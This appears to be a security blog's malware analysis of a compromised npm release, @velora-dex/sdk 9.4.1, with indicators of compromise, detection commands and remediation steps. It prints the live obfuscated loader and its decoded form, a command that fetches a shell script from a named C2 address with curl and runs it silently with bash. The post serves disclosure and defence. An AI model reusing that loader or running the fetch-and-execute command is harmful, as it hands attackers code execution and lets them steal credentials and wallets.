BLOG
Velora (formerly ParaSwap) SDK Version 9.4.1 Compromised And Installing Malware
The npm package @velora-dex/sdk version 9.4.1 contains malicious code that automatically downloads and executes a shell script from a remote server when the
By c0a15726-c5b1-4b0d-85e6-fe15553df9e2 ·
During a security audit of multiple versions of the @velora-dex/sdk package, suspicious code was identified in the package entry point (dist/index.js) of version 9.4.1. Further investigation revealed a base64-obfuscated payload that downloads and executes a remote shell script from a command-and-control (C2) server, providing attackers with arbitrary code execution on any system where the package is installed. See the full threat report here.
Impact: The attacker gains arbitrary code execution on the victim's system with the privileges of the Node.js process. This could enable:
Cryptocurrency wallet theft
Private key exfiltration
Environment variable harvesting (API keys, credentials)
Backdoor installation
Lateral movement within infrastructure
The @velora-dex/sdk package is a popular SDK for interacting with the Velora decentralized exchange (DEX). As a critical infrastructure component in the Web3/DeFi ecosystem, it's used by developers building cryptocurrency trading applications, making it a high-value target for supply chain attacks.
This incident represents a sophisticated supply chain attack targeting the Web3/DeFi ecosystem. The surgical nature of the attack (affecting only a single release version while leaving development builds clean) suggests the attacker had specific knowledge of the release process.
This attack highlights critical vulnerabilities in the npm ecosystem. Build pipeline security remains a weak point. Base64 obfuscation bypasses basic static analysis and automatic code execution on package installation/import is dangerous. Of course, as many know, cryptocurrency-related packages are high-value targets.
Key Findings:
Only version 9.4.1 is compromised (out of 15 versions analyzed)
Development versions (9.4.1-dev.1, 9.4.1-dev.2) are clean
Attack vector suggests build pipeline compromise, not source repository
Malicious payload executes automatically on package import
C2 infrastructure: IP address
89.36.224.5Remediation version 9.4.2 removed the malicious code
Technical analysis
Malicious Code Location
File: package/dist/index.js (lines 4-5) Version: 9.4.1 only
Obfuscated Payload
const {exec} = require('child_process');
exec(`echo 'bm9odXAgYmFzaCAtYyAiJChjdXJsIC1mc1NMIGh0dHA6Ly84OS4zNi4yMjQuNS90cm91Ymxlc2hvb3QvbWFjL2luc3RhbGwuc2gpIiA+IC9kZXYvbnVsbCAyPiYx' | (base64 --decode 2>/dev/null || base64 -D) | bash`, function(error, stdout, stderr) {});Deobfuscated Payload
The base64 string decodes to:
nohup bash -c "$(curl -fsSL http://89.36.224.5/troubleshoot/mac/install.sh)" > /dev/null 2>&1Attack Flow
Automatic Execution: Code runs immediately when the package is imported/required
Base64 Obfuscation: Payload is encoded to evade basic static analysis
Cross-Platform Compatibility: Uses both GNU (
base64 --decode) and macOS (base64 -D) decode flagsRemote Download: Uses
curlto fetch a shell script from the C2 serverSilent Execution: All output redirected to
/dev/nullto avoid detectionPersistence: Uses
nohupto ensure the process continues even if the parent terminates
What Does It Do?
The malicious code performs the following actions:
Spawns a child process using Node.js
child_process.exec()Decodes a base64-encoded command
Downloads a shell script from
http://89.36.224.5/troubleshoot/mac/install.shExecutes the downloaded script with bash
Runs silently in the background with no user interaction required
Velora malware C2 Infrastructure
Primary C2 Server
IP Address:
89.36.224.5Protocol: HTTP (unencrypted)
Endpoint:
/troubleshoot/mac/install.shFull URL:
http://89.36.224.5/troubleshoot/mac/install.sh
Infrastructure Analysis
The path /troubleshoot/mac/install.sh is deliberately crafted to appear legitimate, potentially disguised as a macOS troubleshooting utility. The use of an IP address instead of a domain suggests:
Evasion of DNS-based security controls
Avoidance of domain registration trails
Resistance to domain takedown efforts
Historical Version Analysis
To determine the scope of the compromise, 15 versions of @velora-dex/sdk were analyzed:
Version Range
Versions Tested
Status
9.1.x - 9.3.x
9.1.0, 9.2.0, 9.2.1, 9.3.0-9.3.6
All Clean ✅
9.4.0
9.4.0
Clean ✅
9.4.1-dev
9.4.1-dev.1, 9.4.1-dev.2
Both Clean ✅
9.4.1
9.4.1
MALICIOUS ❌
9.4.2+
9.4.2
Clean ✅
Key Observations
Single Version Attack: Only version 9.4.1 contains the malicious payload
Development Versions Clean: Both 9.4.1-dev.1 and 9.4.1-dev.2 are unaffected
No Historical Compromise: All 10 earlier versions (9.1.0 through 9.3.6) are clean
Rapid Remediation: Version 9.4.2 removed the malicious code
This pattern strongly suggests a build pipeline compromise rather than a source code repository breach.
Attack Timeline (Reconstructed)
Based on package analysis and version history:
Timeline:
---------
[9.1.0 - 9.4.0] Normal development, all versions clean
↓
[9.4.1-dev.1/2] Development builds created, both clean
↓
[BUILD COMPROMISE] Malicious code injected during 9.4.1 build/release
↓
[9.4.1 RELEASE] Compromised package published to npm registry
↓
[DETECTION] Attack discovered by security researchers
↓
[9.4.2 RELEASE] Remediation version published, malware removedAttack Vector Hypothesis
The evidence suggests the attacker likely:
Did NOT compromise the source code repository (dev versions are clean)
DID compromise the build/release pipeline for version 9.4.1
Had specific knowledge of the release process
Executed a surgical, single-version attack to minimize detection
Possible compromise vectors:
Compromised CI/CD credentials or tokens
Malicious GitHub Action or build script
Compromised maintainer account during release
Supply chain attack on build dependencies
Detection & Indicators of Compromise (IOCs)
Network Indicators
IP Address: 89.36.224.5
URL: http://89.36.224.5/troubleshoot/mac/install.sh
Protocol: HTTP/TCP Port 80File Indicators
Malicious File Pattern:
# Search for malicious base64 payload
grep -r "bm9odXAgYmFzaCAtYyAiJChjdXJs" node_modules/Package Identifier:
{
"name": "@velora-dex/sdk",
"version": "9.4.1"
}Detection Commands
Check if you have the malicious version installed:
# Check installed version
npm list @velora-dex/sdk
# Search for malicious code in node_modules
find node_modules/@velora-dex -name "index.js" -exec grep -l "bm9odXAgYmFzaCAtYyAiJChjdXJs" {} \;
# Check package.json lock files
grep -A2 "@velora-dex/sdk" package-lock.json yarn.lock 2>/dev/nullCheck for network connections to C2 server:
# Check active connections (Linux)
netstat -an | grep 89.36.224.5
# Check firewall/network logs
grep "89.36.224.5" /var/log/syslog /var/log/messages 2>/dev/null
# Check DNS queries (if using resolved)
journalctl -u systemd-resolved | grep "89.36.224"Immediate Actions Required
If You Have Version 9.4.1 Installed
Isolate the System - Disconnect from network if possible
Remove the Package
``bash npm uninstall @velora-dex/sdk ``
Check for Outbound Connections
``bash netstat -an | grep 89.36.224.5 lsof -i | grep 89.36.224 ``
Review Running Processes
``bash ps aux | grep -E "(curl|bash|nohup)" ``
Rotate All Credentials - Assume all environment variables, API keys, and secrets were exfiltrated
Check Cryptocurrency Wallets - Review for unauthorized transactions
Scan for Persistence Mechanisms - Check crontabs, startup scripts, SSH keys
Install Clean Version
``bash npm install @velora-dex/sdk@9.4.2 ``
For CI/CD Environments
If version 9.4.1 was used in CI/CD pipelines:
Rotate All CI/CD Secrets - API tokens, deployment keys, service account credentials
Audit Recent Deployments - Review all deployments made while 9.4.1 was present
Check for Lateral Movement - Examine logs for unusual access patterns
Update Lock Files - Ensure package-lock.json/yarn.lock specify 9.4.2 or later
Review Build Artifacts - Any containers/artifacts built with 9.4.1 should be considered compromised
Remediation
Update Package Version
Update to version 9.4.2 or later:
# Using npm
npm install @velora-dex/sdk@latest
# Using yarn
yarn upgrade @velora-dex/sdk@latest
# Verify version
npm list @velora-dex/sdkPin Safe Versions
Update your package.json to explicitly exclude the malicious version:
{
"dependencies": {
"@velora-dex/sdk": ">=9.4.2 <10.0.0"
}
}Or use npm/yarn to block it:
# Create .npmrc with blocked version
echo "@velora-dex/sdk@9.4.1=blocked" >> .npmrcPrevention & Security Recommendations
For Developers
Dependency Pinning - Use exact versions in package.json for critical dependencies
Lock File Integrity - Commit and review package-lock.json/yarn.lock changes
Regular Audits - Run
npm auditand security scanning tools regularlyLeast Privilege - Run Node.js processes with minimal required permissions
Network Monitoring - Monitor outbound connections from development environments
Checksum Verification - Verify package integrity using npm/yarn checksums
For Organizations
Private Registry - Use a private npm registry with security scanning (Artifactory, Verdaccio)
Dependency Firewall - Implement tools like Snyk, Socket, or GitHub Dependabot
SBOM Generation - Maintain Software Bill of Materials for all applications
Incident Response Plan - Have procedures for supply chain compromise scenarios
Security Training - Educate developers on supply chain attack vectors
Network Segmentation - Isolate build environments from production infrastructure
For Package Maintainers
2FA Enforcement - Require two-factor authentication for all maintainers
Build Reproducibility - Ensure builds are reproducible and auditable
Code Signing - Sign releases with verified keys
Access Logging - Monitor and log all package publish activities
Automated Scanning - Integrate security scanning in CI/CD pipelines
Provenance Attestation - Use tools like npm provenance or SLSA framework
Community Response & Disclosure
Responsible Disclosure Timeline
Detection Date: Undisclosed (based on 9.4.2 release)
Vendor Notification: Velora maintainers notified
Remediation Release: Version 9.4.2 published
Public Disclosure: This analysis
npm Registry Status
As of this writing:
Version 9.4.1 should be deprecated on npm
Users should be warned against installing this version
Maintainers should contact npm security to request version removal
Technical Artifacts
Deobfuscated Malicious Code
A fully deobfuscated and annotated version of the malicious payload has been created for analysis:
Location: extracted/9.4.1/package/dist/index.DEOBFUSCATED.js
This file contains detailed inline comments explaining each step of the attack and should NOT be executed.
Analysis Files
All extracted package versions and analysis artifacts are available in:
VeloraDEX/
├── extracted/
│ ├── 9.1.0/ # Historical version (clean)
│ ├── 9.2.0/ # Historical version (clean)
│ ├── 9.3.*/ # Historical versions (clean)
│ ├── 9.4.0/ # Pre-attack version (clean)
│ ├── 9.4.1/ # MALICIOUS VERSION
│ │ └── package/dist/index.DEOBFUSCATED.js # Deobfuscated malware
│ └── 9.4.2/ # Remediation version (clean)
└── malware-analysis-report.md # This documentFinal Recommendations
Immediate: Check all systems for version 9.4.1 and remediate
Short-term: Implement enhanced monitoring for npm package integrity
Long-term: Adopt zero-trust principles for dependency management
Indicators of Compromise (IOC) Summary
Package:
name: "@velora-dex/sdk"
malicious_version: "9.4.1"
safe_versions: ["9.4.2", "9.4.0", "<=9.3.6"]
Network:
c2_ip: "89.36.224.5"
c2_url: "http://89.36.224.5/troubleshoot/mac/install.sh"
protocol: "HTTP"
port: 80
File_Artifacts:
malicious_file: "node_modules/@velora-dex/sdk/dist/index.js"
payload_signature: "bm9odXAgYmFzaCAtYyAiJChjdXJs"
decoded_command: "nohup bash -c \"$(curl -fsSL http://89.36.224.5/troubleshoot/mac/install.sh)\" > /dev/null 2>&1"
Behavior:
- Automatic execution on require/import
- Outbound HTTP connection to 89.36.224.5
- Shell script download and execution
- Background process persistence (nohup)
- Silent operation (output to /dev/null)References & Further Reading
Contact & Reporting
If you have been affected by this malicious package or have additional information:
Report to npm: security@npmjs.com
Report to package maintainers: https://github.com/VeloraDEX/paraswap-sdk/issues
Share threat intelligence: [Your security contact info]
Disclaimer: This analysis is provided for educational and defensive security purposes only. The malicious code described should never be executed. Always analyze malware in isolated, sandboxed environments.
License: This analysis may be freely shared and reproduced for security awareness and defensive purposes.